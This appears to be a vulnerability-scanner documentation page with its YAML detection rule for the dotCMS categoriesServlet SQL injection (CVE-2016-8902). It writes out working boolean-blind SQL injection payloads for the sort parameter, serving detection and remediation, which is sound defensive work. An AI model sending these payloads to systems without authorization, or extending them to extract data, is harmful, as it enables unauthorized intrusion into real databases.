dotCMS — 1 vulnerability check
noctis ships 1 vulnerability check for dotCMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
dotCMS categoriesServlet sort parameter SQL injection
| CVE | CVE-2016-8902 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/dotcms/CVE-2016-8902.yaml |
Sends two unauthenticated GET requests to /categoriesServlet with a `sort` parameter built as `keywords LIMIT (SELECT CASE WHEN (<cond>) THEN 1 ELSE -1 END)--`: one with a true condition, one with a false condition. A vulnerable dotCMS answers the true request with the normal empty-result page `{"numRows":0,"items":[]}` and the false request with an empty body (Content-Length: 0), because the invalid LIMIT -1 makes the underlying query raise and the servlet discards the response. Seeing that difference confirms the sort parameter is concatenated into the SQL query unsanitized. Nothing is read from or written to the database.
How noctis detects it
- HTTP(S) request
GET /categoriesServlet?start=0&count=10&sort={{sort_true}} - HTTP(S) request
GET /categoriesServlet?start=0&count=10&sort={{sort_false}} - Parses / computes the next value with a Rhai script
- Checks
ev.statefor^diff$→ finding QoD 75: GET /categoriesServlet?...sort=keywords LIMIT (SELECT CASE WHEN (1=1) THEN 1 ELSE -1 END)-- returned the normal empty-result page {"numRows…
References:
Feed source — tests/vulnerabilities/dotcms/CVE-2016-8902.yaml
# Source plugin (GPL-2.0-only): OpenVAS/Greenbone NASL
# 2016/gb_dotcms_sql_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.106364).
#
# dotCMS before 3.3.1 concatenates the categoriesServlet `sort` parameter
# straight into the SQL LIMIT clause of the categories query. A LIMIT value
# built from `(SELECT CASE WHEN (<cond>) THEN 1 ELSE -1 END)` lets an
# unauthenticated caller control whether the clause evaluates to a valid
# LIMIT 1 or an invalid LIMIT -1: the first returns the normal empty-result
# JSON page, the second makes the underlying query raise and the servlet
# writes no body at all (Content-Length: 0). Comparing a request that makes
# the condition true against one that makes it false proves the parameter
# reaches the SQL engine unsanitized, without reading or changing any data.
#
# Other dotCMS SQLi issues reported alongside CVE-2016-8902 (authenticated,
# different parameters/screens) are not probed by this feed and are not
# claimed here.
uid: 7cb7f724-0420-4cfb-bedd-8cdb5ff3873a
name: "dotCMS categoriesServlet sort parameter SQL injection"
description: |
Sends two unauthenticated GET requests to /categoriesServlet with a `sort`
parameter built as `keywords LIMIT (SELECT CASE WHEN (<cond>) THEN 1 ELSE -1
END)--`: one with a true condition, one with a false condition. A
vulnerable dotCMS answers the true request with the normal empty-result
page `{"numRows":0,"items":[]}` and the false request with an empty body
(Content-Length: 0), because the invalid LIMIT -1 makes the underlying
query raise and the servlet discards the response. Seeing that difference
confirms the sort parameter is concatenated into the SQL query unsanitized.
Nothing is read from or written to the database.
category: sqli
cves: [CVE-2016-8902]
cvss: 7.5
severity: high
confidence_base: 0.20
tags: [dotcms, sqli, categoriesservlet, unauthenticated, boolean-blind]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-8902"
- "OpenVAS/Greenbone NASL 2016/gb_dotcms_sql_vuln.nasl"
vars:
sort_true: "keywords%20LIMIT%20(SELECT%20CASE%20WHEN%20(1=1)%20THEN%201%20ELSE%20-1%20END)--"
sort_false: "keywords%20LIMIT%20(SELECT%20CASE%20WHEN%20(1=0)%20THEN%201%20ELSE%20-1%20END)--"
steps:
- id: probe-true
action: http_request
method: GET
path: "/categoriesServlet?start=0&count=10&sort={{sort_true}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rtrue
- id: probe-false
action: http_request
method: GET
path: "/categoriesServlet?start=0&count=10&sort={{sort_false}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rfalse
- id: evaluate
action: script
code: |
let state = "none";
if type_of(rtrue) == "map" && type_of(rfalse) == "map" {
let true_ok = rtrue.status == 200 && rtrue.body == "{\"numRows\":0,\"items\":[]}";
let false_empty = rfalse.status == 200 && (rfalse.body == "" || (("content-length" in rfalse.headers) && rfalse.headers["content-length"] == "0"));
if true_ok && false_empty {
state = "diff";
}
}
#{ state: state }
store_as: ev
- id: finding
action: match
source: ev.state
pattern: "^diff$"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "GET /categoriesServlet?...sort=keywords LIMIT (SELECT CASE WHEN (1=1) THEN 1 ELSE -1 END)-- returned the normal empty-result page {\"numRows\":0,\"items\":[]}, while the same request with (1=0) returned an empty body (Content-Length: 0); the sort parameter reaches the SQL LIMIT clause unsanitized."
remediation: "Upgrade dotCMS to 3.3.1 or later, which validates the categoriesServlet sort parameter instead of concatenating it into the SQL query."
stop: true